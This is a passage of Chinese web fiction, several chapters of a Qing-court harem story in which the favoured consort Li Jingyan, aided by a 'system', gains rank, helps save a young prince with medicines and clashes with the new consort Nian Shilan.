收了礼,李静言躺在榻上仍旧觉得有些不可思议:“八福晋有了?!我这么灵吗?” 系统闪烁了一会儿才道:“那倒不是,主要是你那两件衣服和话宽了八福晋的心。” 李静言低着头想了想:“是不是胤禩本身质量不高,八福晋也不是个易孕的,再加上压力太大,两个人才没有孩子?” “差不多,八福晋是个争强好胜的,所以心里承受的压力更大些。外头的闲言碎语导致她这么多年身体机能一直紧绷着,没办法成功着床。你那个小衣裳叫八福晋很有盼头,心里头轻松了,自然有孕也是正常。” 李静言:不愧是我! 胤禛这几日没有胤禩几人的捣乱甚至有些不习惯,不过,这感觉实在太好了。 “淑福晋,果然是被爷放在心上的人。” 这几日府里的热闹像是另外一个世界的事,齐月宾看着前院的方向倚在门框上,单薄的寝衣在阵阵微风下轻轻鼓动,寂寥的身影被月光拉长,繁复的思绪像是院墙上纠缠着的藤蔓,不想理清也懒得剪断。 自淑福晋有孕后,齐月宾多次尝试与之交好。可无论是以温和姐姐形象或者真心相交之意,都被拒绝。如今因着试图抱养大格格失败,连爷都有日子没来了。怕是因着这件事,爷也厌恶了她吧? 摸了摸自己平坦的小腹,自己明明是头一个陪伴在爷身边的女人,到如今仍旧是位分卑微的格格不说,连一儿半女也无,果真是福薄吗? 只片刻,齐月宾又抬起头望着天边月眼神逐渐坚定。 同宜院。 “淑福晋,替本福晋把贺礼送过去就是了。” 宜修跪在弘晖的牌位前念着经,穿着青色素净的衣裳,头上的盘辫也只用了一根紫檀木的簪子。她表情无悲无喜,只是眼神里还是透露着不甘心的癫狂。 感受到身体的虚弱后,宜修就知道皇上是不会叫她立刻去死的,但能活多久,宜修自己也不知道。 如今她也算是投鼠忌器,明明心里想要把这雍亲王府里的孩子全部扼死,却怕皇上真的发狠扰了弘晖的安稳。 只是,宜修在佛前更添了两分阴狠,既然做不到叫雍亲王府的孩子陪葬,她便把心思放在了乌拉那拉府,嫡福晋觉罗氏身上。 觉罗氏自柔则死后便伤了心神,宜修想要动手反而容易。 至于雍亲王府,宜修看着地上的蒲团有片刻的笑容闪过。皇上确实在乎孙子,但对于她们这些后院的女人,就大意的多了。 她青葱的手指间滚动着棕色的佛珠,低垂的眉眼看似悲悯,却藏了步步杀机。 虽然宜修并不出门交际,但好歹是府中正经的嫡福晋,请安一事还是需要做做样子。 李静言看着宜修如同假面一般的表情,心里头默默提高了警惕。 “淑福晋,原你有了身孕,晋位后并未去宫里向额娘请安。如今弘时也大了些,今日便带着弘时一起,去给额娘请安吧。” 李静言有孕时胤禛哪里舍得她步行在宫里头见个人就弯腰请安的,便以府里头久不见婴啼为由帮李静言推拒了这个流程。 康熙表示了解,毕竟儿子都这么大岁数了,府里头一个男孩也没有实在磕碜。况且只是一个侧福晋而已,他还不至于斤斤计较到这个地步。 当时的德妃即便有怨言也只能咽回到肚子里去,谁敢明着和皇上对着干呢? 后又因着乌雅嫔联合四福晋残害胤禛子嗣一事,胤禛更不敢带着李静言往宫里头走了。康熙也觉得这个儿子实在可怜,对于这点小事便一再纵容。这才拖到了今日。 “妾身知道呢,爷昨儿晚就跟妾身说了,今儿啊,爷等会叫苏培盛来接,爷陪着妾身一起去呢。” 李静言有没有故意炫耀单看她那理所应当的表情并不好下定论,但这句话直戳宜修和齐月宾的气管子倒是真的。 不过宜修如今的养气功夫越发的好,脸上完美的笑容不见裂痕,始终维持着端庄的形象。 “既如此,你便先回去准备着吧。” 宜修完全没有给李静言科普宫里头的规矩和娘娘们的忌讳,一方面是想看这位知府之女的笑话;另一方面,她对于宫里头娘娘们也并不了解。 只是靠着先头入府时和胤禛的情谊听过几句牢骚而已,当不得真。 “那妾身就先走了,前儿个乌苏妹妹还说额娘不喜欢粉蓝色呢,妾身得换身衣裳去。” 李静言说着,手里的帕子摇了摇就离开了。 而宜修完美的笑容却有了一丝裂痕‘额娘不喜欢粉蓝色?’她怎么不知道! 齐月宾看着李静言离开的背影轻咬了一下嘴唇,从前她并不想把自己放在攀附的位置上,只愿以平等相交去交好这位淑福晋。如今看来,她们二人的距离倒是越来越远了。 只是齐月宾自认是从一品虎贲将军之女,若要让她放低身段去攀附一位知府之女,这无疑是叫她自认是折辱了身份齐月宾回到自己的小院又散了些银子出去,打听打听如今这位淑福晋的喜好的。 但如今却不同,入满军正白旗,赐姓李佳氏,以淑为封号的侧福晋,和先头的嫡福晋宜修也没什么区别了。 她捏着茶杯的手指有些泛白,实在不知道爷怎么会喜欢这么一个浅薄的女子,就因为她貌美吗? 那柔则呢?齐月宾不想去深思,但对李静言这般人物又实在无从下手,一时间安静下来,不知道在计划着什么。 第213 章 李静言16 “淑福晋穿这身雪青是极为衬肤色的,既是拜见皇上,便舍了这偏长的流苏,奴婢瞧这拇指长的珍珠流苏就好。宫里头规矩重,仪态端庄些更得主子们的喜欢。” 小佟嬷嬷早就开始给李静言补习过了宫里的规矩和礼仪,今日的首饰也是小佟嬷嬷搭配的。作为在孝懿皇后身边出来的人,对于宫中这些主子的喜好最是清楚。 “听嬷嬷的,嬷嬷是宫里头出来的,就是最厉害的。” 李静言的理论一向是简单粗糙款,小佟嬷嬷经常沦陷在她‘甜言蜜语’的夸奖中,干活都贼有劲。 “淑福晋,奴才来接您了。” 苏培盛来芳华院是最放松的,淑福晋人简单,来报信也不用繁复斟酌用词,是个特别好伺候的主子。 “走吧,爷还忙着吗?” 李静言扶着小佟嬷嬷的手走出来,身后跟着抱着弘时的翠萍和拎着一个五层的食盒小路子。 小路子艰难的把手里的食盒交接到苏培盛的手里。 “爷现在在宫里头等着您呢,您这是......” 李静言一边走,一边说道:“今儿爷起的晚了些,只用了两个饽饽就上朝去了。这早膳不吃饱了,哪有力气干活。 还有你,你那肚子打鼓的动静廊下的鹦鹉都听到了。下头有些糕饼,一会儿马车上你垫补垫补,省得叫爷被同僚笑话喂不饱下人。” 她能有什么坏心思呢,她只是怕枕边人吃不饱穿不暖啊。 “诶,奴才多谢淑福晋了。” 苏培盛摸了摸自己扁塌塌的肚子感动的‘泪流满面’(在心里),他们主仆俩是真的饿啊,淑福晋一定是九天来的仙女,救苦救难! 胤禛得了信,走到宫门口的时候就看到挂着雍亲王府标志的马车。 他伸手刚想把人扶下来,却不成想自己被拽了上去。 有些懵的胤禛听到李静言开口:“张嘴,啊......” 他下意识的照办,嘴里便被塞了一个玲珑的虾饺。 嚼嚼嚼,鼓着腮帮子又看到自家小福晋举着一个白瓷的小盅。 顺手接过去往嘴里一倒,那香甜的红豆沙瞬间驱赶走早起的疲惫。 又吃了两个虾饺,胤禛拉着李静言下了马车。 “爷还饿不饿?” 为了照顾穿了花盆底的李静言,胤禛也迈着这二十来年最小的步子慢慢晃悠。 “还有些。” 毕竟昨晚进行了难以描述的体力运动,早上没来得及用膳,肚子里早就唱起了空城计。 李静言用帕子掩着胤禛的嘴,利索的填了一个茉莉酥饼到胤禛嘴里。 这都是十分好入口的大小,胤禛笑弯了眼睛,品尝着嘴里的香甜。 “先去额娘那里坐坐,皇阿玛叫咱们抱着弘时去太后宫里,不必慌,爷陪着你。” “这有什么好慌的,不过是见一见婆母和祖母罢了,妾身这么听话漂亮,还有一个胖儿子弘时,这些都是小事。” 这般简单的思路是胤禛从未想过的,他看了眼对皇宫敬畏感并不算多的李静言有些想笑。 “你说的是,是爷着相了。” 一段路被两人晃悠了半刻钟才到,然而永和宫的大门却并不是打开的。 虽然乌雅嫔身边的竹息等人已经被皇上处理了,但她的娘家还在内务府,再送来几个忠心的宫女也不是什么大事。 门口的流苏便是从辛者库调过来的,是乌雅氏在宫里的小眼线。 “王爷,淑福晋,娘娘晨起时有些头晕,瞧了太医又小睡了片刻,此时正在穿衣,请王爷和淑福晋稍等片刻。” 胤禛脸色未变,只是点了点头便拉着李静言坐到了正殿里头。 李静言眨了眨眼,虽然不知道自家王爷怎么又不高兴了,但还是用手挠了挠胤禛的手心。 “别喝了,你刚出门时不是用了甜汤。” 胤禛安抚的冲她笑了笑,又见着李静言端起了一旁的茶,出声制止。 张了张嘴刚想要反驳就被小佟嬷嬷递过来的弘时打断了嘴里的话的话。 小佟嬷嬷瞧着自个儿主子安静下来,光明正大的翻了个白眼撇了嘴。她最看不上乌雅氏这般娇柔做作的样子,偏皇上喜欢,说句大逆不道的,皇上也不是个好的。 过了好一会儿,乌雅嫔才在流苏的搀扶下走了出来。 胤禛面无表情看着李静言行礼,不等乌雅嫔叫起,便自个儿扶着李静言起身:“额娘恕罪,昨儿个皇阿玛吩咐儿子带着弘时和淑福晋去看看太后。如今也不早了,儿子便先告退了。” 乌雅嫔还未说话,胤禛便扶着李静言带着小佟嬷嬷抱起弘时转身就走。 “这,这便好了吗?” 李静言甚至没出大门就发出了疑问。 “原来宫里头的额娘和外头的恶婆婆也差不多,这种理由简直毫无新意。” 她自认为很小声,甚至还轻轻的摇了摇头,却不想声音传到了乌雅嫔耳朵里,气的她真的头晕起来。 胤禛强忍着笑意,再一次感慨觉得口无遮拦的人也挺可爱的。 自得了侧福晋的位,李静言就缠磨着胤禛恶补了一下蒙古语,所以拜见太后十分的顺利。 她虽然说的磕磕绊绊,也有很多发音的错误,但有这份心,太后就十分的开心。 弘时又是个壮实的小孩,太后哄着玩了会儿,大气的送了不少赏赐。 康熙知道太后开心,也觉得老四和这位淑福晋做了好事,叫梁九功把赏赐加了两成。 真的被气晕了的乌雅嫔没有及时接到这个通知,导致永和宫的见面礼是最薄的。 后宫的流言一向是实时更新,乌雅嫔不满淑福晋这消息,在胤禛出宫后便传遍了东西六宫。 至于乾清宫,那是第一时间得到的消息。 “哼,小门小户的奴才秧子就是上不得台面。” 本想看在两个儿子都是出息的份上给乌雅嫔另择封号的康熙选择永不许乌雅嫔晋封。 得益于好人缘的淑福晋,胤禛在兄弟们间的名声开始回升,办事时也有了帮手,不至于一个人得罪一群人。然而他又知道自己爹是个什么类型的,所以还是保持着不远不近的态度。 反正有他的淑福晋在,万事都会顺利的。 康熙四十七年,巡幸塞外。 “咱们带着弘时一起去玩一玩?” 虽然这几年皇上又陆陆续续送了四五个妾室进雍亲王府,但最受宠的,仍是淑福晋李静言。 钱格格生了二格格后十分紧张,生怕那位齐格格来抢孩子,便求到了李静言头上。 李静言不解但喜欢跟胤禛学话,胤禛便出手把西边的青梧院打开,把七零八散住在不同偏远角落的三个格格都放在了这里。 甘格格成功和宋格格,钱格格汇合,三人守着两个女儿过日子,也是别有一番滋味。 新来的格格中有一位王氏是江南来的,长的是胤禛最喜欢的清纯有诗书气的风格。齐格格再次下注于这位王格格,很快就取得了王格格的信任。 只是王格格貌美却心气高,得了几分宠爱后便事事要跟淑福晋比上一比。甚至偶尔还会在胤禛耳边念叨,什么淑福晋的簪子漂亮,妾身也想要之类的酸话。 胤禛不耐烦听这些,并且认为王格格贪慕虚荣。几次过后,王格格还没等有孕便失了宠爱。 这次去塞外,胤禛压根没想到别人,回府直奔芳华院而去。 “好啊!妾身喜欢出去玩。爷知道十三弟妹和十四弟妹去不去吗?” 李静言的好朋友太多了,其中胤祥侧福晋乌苏氏和胤禵侧福晋舒舒觉罗氏为首,三人经常约着去买首饰逛铺子,就差没有桃园三结义了。 “十三弟是会去的,至于带不带乌苏氏爷不知道。十四这次并不在出巡的名单上,舒舒觉罗氏自然也去不得。” 李静言眼珠子转了转,没记错的话这是一废太子的时间吧? “好吧,妾身自己去问。” 出巡听着好玩,其实路上很难熬,马车颠簸吃睡都不是很舒坦。 好在弘时是个非常皮实的孩子,因为从来没有受过饿,弘时是康熙见过最大只的小孩。 这次出门带的孙儿只有弘皙和弘时,康熙偶尔会把两个孩子都带在自己身边乐呵乐呵。 弘时是从小被定位的不聪明,但他为人赤诚,在弘字辈的孩子里还是挺受欢迎的。 李静言自到了塞外后便拉着乌苏氏带着弘时四处溜达,为了几人的安全,胤祥得了康熙的令负责照看三人。 “怎么了爷?” 玩儿了一天,弘时已经累的睡着了。 胤禛悄悄的脱了外袍,叹了口气:“胤祄病了,皇阿玛一直陪着呢。” 李静言从自己的小箱子里掏出来一堆药,推到胤禛身边:“有能用的吗?” 因为弘时,李静言不仅有成品中药包,还找了一堆西洋大夫弄了些西药片子,只不过弘时没有用过,她也只知道功效,并不知道疗效。 胤禛瞧了一眼:“我拿去给太医瞧瞧。” 太子这两日因为没去看胤祄被皇阿玛骂的狗血淋头的,胤禛虽然对这个十八弟也没什么感情,但有了前车之鉴,该做的样子还是要做的。 李静言点了点头,合衣随着弘时一起睡下。 (淑福晋,舒肤佳。哈哈哈。) 第214 章 李静言17 “老四这是去哪?” 太子面色轻松,甚至还带了几分笑意,胤禛瞧着方向,大概是刚从围场回来。 “太子二哥,臣弟这里有些药材,想去瞧瞧十八弟那里能不能用上。” 他说着,眼神往皇阿玛营帐那里瞟了瞟,胤礽成功接收到信号。 虽然心里头冷笑皇阿玛喜爱这种虚假的兄友弟恭,但仍旧从心的跟着胤禛的话道:“你说的是,孤也正要去看看,一起吧。” 随着上一年开始,康熙和太子的关系又紧张起来,但没人敢小看这父子俩之间的羁绊。背地里争权夺利便罢了,表面上对太子都是恭恭敬敬的。 “你们来了。” 康熙的声音有些嘶哑,他长时间守着这个小儿子,眼睛里都冒出来了不少红血丝。 胤礽看的有些心酸,也有些迷茫。 曾经,这都是他专属的待遇。 “是,儿臣带着弘时出门,淑福晋便准备了不少孩子能用上的药。得知十八弟生病,淑福晋把药叫儿臣拿来给太医看看,是否能用的上。路上正好遇到太子二哥也要来看十八弟,便一同前来。” 胤禛瞧着太子不吭声,给李静言擦屁股习惯了,下意识的开口为其圆场。 他说完在场的父子三人都愣了愣。 这还是那个沉默寡言,耿直冷面的老四吗?竟然也会帮别人打圆场找理由了? 胤禛顶着康熙和太子的眼神尽量不脸红。 好在康熙此时的心绪都在胤祄身上牵着,没有多余的心思打趣,只叫一旁的太医看了看胤禛带来的药材。 胤祄两腮肿胀,持续高烧,此时人已经迷糊人事不知了。 随行路上的药材虽然带的多,但途中的医疗条件实在差劲,再加上确实有部分药物缺失,导致胤祄的病症一再加重。 李静言带的药虽然不多,但每样都有一些。也有因着三十二年得了疟疾,救回了康熙一命的金鸡纳霜。 几位太医经过商量,先取用了一些金鸡纳霜给胤祄消炎辅助,尽快给胤祄把高热降了下来。 再从胤禛带来的药材中拿走了三样,配合几人商量后的药方熬制,成功稳定下十八阿哥的病症。 “皇上,十八阿哥如今病症稳定,只是这金鸡纳霜毕竟不是对症,臣等拿不准是否继续使用。” 这主治的是疟疾,太医们也只知道其有消炎的功效罢了。至于对上这病有没有什么副作用,他们不得而知。 康熙敲了敲手下的桌子,看了眼好不容易睡的踏实的胤祄道:“先用着,等十八好转了再停。” 就算有副作用,好歹也是捡回了一条命。 胤祄安稳下来后康熙也似了了一桩心事,看向还在一旁候着的两个儿子:“行了,今日给你们两个休息一日。胤禛,你那个淑福晋是个好的。” 天光乍亮,熬了一晚上的父子三人都有些撑不住了。 “皇阿玛也要注意身体。” 胤礽这一晚上浑浑噩噩,摸了摸心口,总觉得自己逃过了什么劫难一般。 回过神,看着康熙的营帐,胤礽眼底露出一抹脆弱。看向脚步有些急促的四弟,心中思绪复杂。 “爷?” 清宫的日子确实无聊些,但是混到这个位子上后,也是真的健康。 晚上七点就睡,早上天亮就起。 “吵醒你了?” 胤禛有自己的帐篷,但是他总觉得冷清清的,所以不愿回去。 “是啊,爷刚回来吗?” 胤禛笑了笑,一晚上叫他的胡茬都冒出来了,李静言有些嫌弃。 放弃了作弄眼前人,胤禛选择沐浴更衣以洗自己的威名。 “这次多亏了你带的药材,十八弟也算是死里逃生了。” 当时胤祄的状况他们都看在眼里,眼窝凹陷嘴唇泛着青,怕是再得不到好的治疗就去了。 李静言很自豪的在胤禛怀里挺了挺胸膛:“那可不是,妾身带的药材比太医院都齐全呢。” 胤禛被柔软攻击了一下,他眼神微变却也知道这个时候并非是什么合适的时机。 “爷睡会儿,你若是有安排就让十三弟陪着你们。” 李静言当然有安排,她跟乌苏氏约好了骑马。 这次的塞外之行虽然改变了胤祄和胤礽的既定之路,但皇上和太子的关系仍旧降至冰点。 回京后,皇上想着奖励一下献药的淑福晋,却发觉李静言本人已经封无可封了。 康熙皱了皱眉,看向一旁的梁九功:“老四那个福晋现在如何了?” “回皇上,四福晋如今气血虚浮内里病根深筑,不过是熬日子罢了。” 胤禛已经抬了一个侧福晋为正妻,康熙想着再抬一个也是无妨的。不过也不能太急切,老四也得要点名声。 想了想,便只好从李静言的娘家入手。 他仔细瞧了瞧李昌源的任职报告,发现这是一个无功无过的人。 这样也好,康熙提笔写下圣旨。 消息传到雍亲王府时,李静言还在因为胤禛撕毁了她一身漂亮衣裳生气。 “哦~~~侧福晋年氏呢。” 接了圣旨的李静言坐在那里斜着眼看胤禛,嘴里的醋劲儿快要淹了这个雍亲王府。 得益于李静言献药,胤禛提前获封满军镶白旗旗主,其镶白旗佐领和旗人均归雍亲王属下。 其中自然包括和胤禩较为亲近的年羹尧。 打眼一看自家老四背后居然无权无势,康熙手一划拉,便把年家给了胤禛。 其中最牢固的方法,自属姻亲。 年世兰提前被赐婚,不过好在看在她不过十五岁的份上,康熙允其待嫁一年,于明年三月入府。 胤禛听着身后人阴阳怪气的动静就好笑,年氏还未入府就这般,若是人进来了,他这府里怕不是要日日冒着酸气了。。 “你光听着这个了,没听到你父亲晋了从二品礼部左侍郎吗?” 李静言歪了歪头,定在那里回忆刚才宣旨的话。 “哦!” 她猛地睁大了眼睛:“我父亲升官啦?” 胤禛虚虚的揽着她的腰,把人固定在自己能抱到的范围内:“是啊,你母亲也获封了三品诰命。” 从这点也能看出来,胤祄的命有多值钱了。 “今儿是个好日子,妾身自掏腰包,给府里的人都加个肉菜。” 笑的一脸明媚的李静言被小佟嬷嬷拉了拉衣袖,疑惑的看着小佟嬷嬷指了指西边的方向,她立刻反应过来:“同宜院和携香院不加!” 两人的小动作大喇喇的瘫在胤禛眼巴前,他只能自己选择失明,假装看不到。 同宜院害过静言,携香院的齐格格在静言心里就是拐子,胤禛对李静言简单的是非观很了解,所以并不意外。 “你那幼弟泽文是个聪明的,得空了也可以来看看你和弘时。” 去李府道喜的人已经回来了,李昌源严格遵守自家女儿的话,推拒了所有来送礼的人,得了胤禛的欣赏,又送了两个人去帮扶。 虽然礼部左侍郎是个闲职,但也是需要些脑子的。胤禛觉得李昌源不聪明但是正直,就很愿意帮扶两分。 “知道了,咱们弘时不是个读书的料子,爷也别太严格。” 胤禛叹了口气,弘时完美的继承了自家侧福晋的脑子,读书不精歪理多,不是睡得少力气小就是死读书长不高。偏偏两点都戳在了胤禛在意的地方,不得不依着他。 想到这里,胤禛‘恶狠狠’的瞪了一眼罪魁祸首李静言。 李静言不明所以,也没看懂胤禛的眼神,只是黏糊的凑上去拉着他的领子撒娇:“弘时还小嘛~~~爷慢慢来就是了。” 胤禛:真不是我不严格,主要是孩子确实没开窍。 第215 章 李静言18 李府。 “还得是我儿,说的就是到位。你自己收礼才能得几个钱?现在呢,一言不合是不是就升官了!以后收收你那不值钱的样子,给我儿丢脸。” 李母去雍亲王府陪产了几日,便自觉比李昌源见的世面多,说起话来总带着说教的意味。 李昌源也不恼,说就说吧,好处在自己手里,得两句牢骚怎么了呢。 “是是是,夫人说的是。” 负责在李府的三位只觉得没有比这更轻松的活了,淑福晋的家人实在听劝,叫做什么就做什么。说了什么不能做便一点不碰。这般慈父慈母心肠叫他们艳羡的紧。 实则:李昌源:不能丢人不能被除族,否则当了鬼没人要。 “四哥,可要一起喝一杯?” 刚下了朝,胤禩拦住了胤禛。 两人虽政见不和,但到底还没有闹出来特别大的矛盾,胤禛点了点头,叫苏培盛回府跟李静言说了一声就跟着走了。 “抱歉四哥,年羹尧并非我所......” 胤禩想争吗?自然还是想的。但是老四一家于他来讲有天大的恩情。所以,一码归一码,胤禩并不想在这件事上叫胤禛觉得他是忘恩负义之人。 更何况胤禩觉得那位淑福晋是个有福的,他与福晋喝多了药看多了大夫都没用,偏这位淑福晋两件衣裳就带来了孕信。 若说这不是福气所致,胤禩也是不信的。而不得罪有福之人是所有人最正常的想法。 胤禛抬了抬手:“本王知道,与八弟无关。” 胤禩这次是真的没有给胤禛使绊子,只是年羹尧是个桀骜不驯的,他自有自己的一套理论。 胤禩笑了笑,推了一个掐丝珐琅的紫檀木盒子过去。 “这是福晋送给小四嫂的,请四哥转交。” 胤禛把盒子收起来,看着这位小时候的玩伴说道:“老九的事收敛些。” 胤禟在民间闹出来的消息被他压了下来,到底是如今和他井水不犯河水的兄弟,也算是今日消息的交换了。 “多谢四哥。” 兄弟俩喝完了最后一杯茶离开。 回到府里的胤禛脑子里有两个念头在打架。 一个是如李静言那般,不好用的奴才打发了就是。从来都是奴才迎合主子。 一个是年羹尧在军中的本事,他名下确实没有武将,毕竟曾经都得罪光了。 不过,胤禛看了看青梧院的方向,钱格格是宣武都尉钱立业的女儿,甘格格是骁骑参领甘源的女儿。 想着李静言接到的两家的帖子,胤禛笑了起来。 本就不是问题,倒是他被以往的绊脚石桎梏住了。 “爷记得你接了钱氏和甘氏的帖子?” 吃着锅子,胤禛看向李静言问道。 咽下嘴里的鱼丸子,李静言点了点头,眼神随着胤禛的筷子乱动。 胤禛夹起熟透了的羊肉,在李静言眼睛下晃了一圈,落到了自己碗里。 看着变脸如同翻书一样的人,哈哈大笑起来。 “给你给你。” 曾经那个有洁癖的胤禛早就不知道飞到了哪里,自个儿的筷子怼到李静言嘴里也不觉得有什么不对,自顾自的继续吃起来。 “就是后日,怎么了爷?” “没事,福晋病着,来往姻亲你看着处理就是。甘格格入府久些,钱格格有个女儿,回礼叫小佟嬷嬷准备着。” “知道了,都是自己人。” 胤禛挑着嘴角笑了笑,他就知道,这个理解方向对了。 甘氏和钱氏入府后,胤禛那里也接了甘源和钱立业的拜访。 有雍亲王的支持,两位武将很快就开始大展拳脚,把年羹尧的光芒成功压制下来。 本想抻一抻的年羹尧发现自己已经待业很久,才知道自己作过了头。 年遐龄看着年羹尧摇了摇头,这个二儿子什么都好,就是眼力见不够。身为他们年家的旗主,哪里能容忍得奴才挑三拣四。 看着恭敬的捧着拜见礼的年羹尧,胤禛的笑的疏离又客气。 同样是汉军旗的武将,甘氏和钱氏的识时务衬托的年羹尧更加不堪。再加上两家本也是有本事的,有雍亲王这名头的帮扶,就比年羹尧发展的更快。 这个时候的年羹尧于胤禛来说,其实并不算特别重要了。 一直到年世兰入府,年羹尧才成功到四川任巡抚一职。 “这便是年妹妹了。” 宜修虚弱,但到底还占着四福晋的位置,即便是衣裳里绑着木棍才能挺直了身板,也要撑着接受年世兰的拜礼。 年世兰拜了宜修,对李静言的礼便有些敷衍。 “哟,这年家果然是没规矩惯了。上有一个不知天高地厚的年羹尧,下有你这个没规没矩的年世兰。” 李静言入府就是盛宠,被胤禛娇惯了这么多年,顺风顺水没有受过一点气。年世兰这作态可叫她忍不下去。 “淑福晋这是何意?!” 年世兰也是个吃不得亏的,两人相对,只不过一个坐着,一个站着。 “何意?你是傻子吗听不懂话?论身份,我是满军旗你是汉军旗,我是有皇上亲赐封号的侧福晋你不过是刚入府。更别提我还有雍亲王府唯一的阿哥弘时,你跟我行礼还要敷衍,真以为你是什么金贵饽饽了?” 本就对年世兰有不满的李静言小嘴叭叭的,她入府这么久了,论打嘴仗就没输过。 年世兰被气的满脸涨红,她不过是想要试探一下这位淑福晋的脾气秉性,没想到还有比她更难缠的人物。 “你今儿要是不能老老实实规规矩矩的给我行了这礼,我就叫爷去问问你们年家是怎么教育的孩子,一个两个的不知道天高地厚。” 年世兰想着昨晚王爷的疼爱,倒是挺直了些身板。 “不过是虚礼,淑福晋如此计较我也没办法。” 年世兰在自己院子里自称本福晋,在这里她倒是敢正面刚宜修,可对上李静言便有些气短,只好跟着李静言一起,称起了‘我’。年世兰觉得,没气势极了! 说完,年世兰福身:“爷晨起时说了陪着妾身一起用膳,就先告退了。” 李静言翻了个白眼,看着宜修:“福晋也是,该你主持公道的时候你又噤声了。” 她起身看着身边的小佟嬷嬷:“去跟弘时说,他额娘被气的吃不下饭了。” 小佟嬷嬷忍着笑意应了下来,到前院找了高无庸。 这话自然传不到被接进宫里尚书房读书的弘时耳朵里,但是能传到雍亲王胤禛的耳朵里。 “这年氏是没规矩,你何必跟她置气?罚了就罚了,爷又不会说你。” 自己的天眷之人受了委屈可还行?更何况还是宠爱多年的,两人以寻常夫妻相处,这情分非任何人可比的。 李静言歪着脸不吭声,斜着眼睛瞄了瞄胤禛,不料被发现。 “好了好了,气坏了自己爷又该心疼了。你也心疼心疼爷吧。” 李静言扭过身把自己埋在胤禛怀里气呼呼的说道:“罚她!狠狠的罚她!不给她好吃的!不给她好看的衣裳!也不去看她!” 这就是顶天儿的惩罚了?胤禛真是被怀里人傻笑了。 “都听你的。” 年世兰在院子里没有等到胤禛,只等到了禁足的惩罚。她腿一软坐在了榻上,看明白了自己的地位,有些难过。 至于年府,胤禛也没落下。 教出的孩子两个都是没规矩的,年遐龄的老脸都要被扒光了皮。 女儿嫁出去了,又是从小宠爱大的。只能晓之以理动之以情的写信安抚劝导。 但二儿子年羹尧就没这个待遇了,年遐龄写信把他骂的狗血淋头,好像多说一个字就是不孝子一般。 年羹尧:会老实的会老实的,别骂了。 (这几天一直头晕,也不严重,但是很影响思路,写的不太好,抱歉。) 第216 章 李静言19 李静言坐在黄花梨的太师椅上认真的看着账本,右手边纯金的算盘不时拨弄着,就连那记账的小楷笔都是象牙的柄。 与椅子配套的黄花梨书桌上铺的是绣蝶戏百花的缂丝桌布,虽不常用但根据时节更换的笔架以翡翠和和田玉为主。 窗下的条案上摆着一对粉彩蝶恋花花瓶,中间的芙蓉石蟠璃耳盖炉燃着价值千金的莞香。一室的富贵也不过是李静言如今的日常,自显露了独有的管账手段后,胤禛便把属于雍亲王府的所有资产都交到了李静言手里。 中街的铺子,京郊的庄子,三两处的马场和名下的各种进项。 这些独属于福晋的权利,先福晋乌拉那拉柔则不通庶务无法接手,如今的继福晋宜修不得胤禛信任从未沾染,在这之前胤禛都是将其放在前院处理。 小佟嬷嬷瞧着李静言搁置了手中的笔,后退一步抬了抬手。 翠萍带着几个婢女进来,上茶的上茶,按摩的按摩,净手的净手。 “福晋,年家送来了帖子。” 李静言看了一眼,是年希尧的夫人洪氏。洪氏出身官宦世家,书香门第,与年希尧是极为般配的一对眷侣。但洪氏因其祖父洪昇在佟皇后丧期演出获罪,家族一落千丈。 年希尧对其一见钟情,因着家族之由多在年家少见出门活动,为人如何李静言也并不清楚。 不过说起洪昇,李静言稍微有些兴趣,他创作的【长生殿】确实是一佳作。 “推了吧,有事找福晋去,见我这个侧福晋算怎么回事?” 只是佳作而已,不值当李静言听她替年世兰请罪。 年世兰在请安第一日就给她闹难堪,记仇的李静言是不会因为小恩小惠就被收买的! 小佟嬷嬷好不意外的应了是,接着露出身后的大箱子说道:“还有十三福晋送来了一箱把玩之物,说是感谢您塞外时对府中侧福晋乌苏氏的照顾。” 这话说的,饶是李静言厚脸皮也不好接了。 塞外时她照顾了乌苏氏吗?不是胤祥跟着她们两个屁股后面跑着溜腿吗? 许是她的表情太迷茫,小佟嬷嬷把箱子打开,率先映入眼帘的金项圈金镯子瞬间叫李静言提起了精神。 “福晋为人最是正直不过,怕是您自己随手而为被十三阿哥记在心里。” 对上小佟嬷嬷肯定的眼神,李静言逐渐把自己洗脑“没错,就是这样!” 这边的箱子还没试戴完,晚上胤禛也抱着一个箱子回来。 “爷这是带了什么?” 手指顶着李静言凑过来的脑瓜子,胤禛笑了一句:“我手脏。” 李静言瞬间化身小尾巴,跟在胤禛身后转悠。 胤禛换衣裳,李静言在旁边眼巴巴的看着。 胤禛洗手,李静言还是在旁边眼巴巴的看着。 胤禛故意绕了一圈去了书房,李静言表情委屈的眼巴巴看着他。 “好了好了,爷还能短了你的不成。” 被那样一双期待的眼睛看着,胤禛完全没有抵抗力。 “这些都是太子妃给你的。” 胤禛看了一眼苏培盛,苏培盛会意打开了箱子。 比之前十三福晋送来的更加耀眼,那一件件价值连城的宝贝像是不要钱一样堆在这个箱子里。 “太子妃?给妾身?” 看着李静言的脑子已经转不过来弯,胤禛也不想解释其中的复杂,主要是说了李静言也不懂。 “嗯,弘皙很喜欢弘时,塞外一行你带着孩子们玩了几天,这是谢礼。” “哇,那妾身就不客气啦。” 胤禛坐在榻上,看着李静言没心没肺的打扮着自己思绪逐渐飘远。 这几日朝堂上的氛围逐渐紧绷,皇阿玛对于太子的容忍起起落落怕是快到了临界点。 胤祄那次确实是一个奇妙的转折,若是没有静言的药,胤祄怕是把命就留在了那里。 按照太子以往的行径,对于这个幼弟根本没有情分。皇阿玛又是那样一个容易迁怒的性子,胤祄 这条命怕就是皇权之间的引火索了。 能安安稳稳回京,这一箱子的俗物怕是买不断太子被牵连的凄惨下场。 回神看着身前的李静言拿着一串用红宝石串成糖葫芦状的山楂糖金簪,没记错的话那是十三弟专门找人制成给十三弟妹的,如今出现在静言手里。 太子出事,十三弟至情至性之人定是会为其求情,而盛怒下的皇阿玛会不会牵连与他,答案一定是肯定的。 只胤祄一人,只静言这一微不足道的举动,便改了兄弟几人的命运,胤禛头一次觉得,自己的福晋活着有些碍事了。 “爷,年侧福晋禁足归禁足,妾身能去看看她吗?” 胤禛被打断了思路,抬眼看着身前跃跃欲试的人随意的点了点头:“你想去就去,爷把高无庸给你带着。年氏是年羹尧的妹妹,听闻自幼习武,也是个有功夫的。” 至于李静言是去干什么?胤禛用脚趾头都能想到,无非是炫耀和嘲讽罢了。小女子心性,何必阻止。静言也是受了委屈,不然也不会这般斤斤计较。 李静言得了准许,又拉着胤禛搭配了一下战袍首饰,两个人才睡下。 第二日,看着格外精神的李静言,胤禛笑着叹了口气:“今儿太子妃约了家宴,你别耽误了功夫。” 李静言一边打扮头也不回的说道:“知道了,妾身有数呢。” 胤禛:这点我是保持怀疑的。 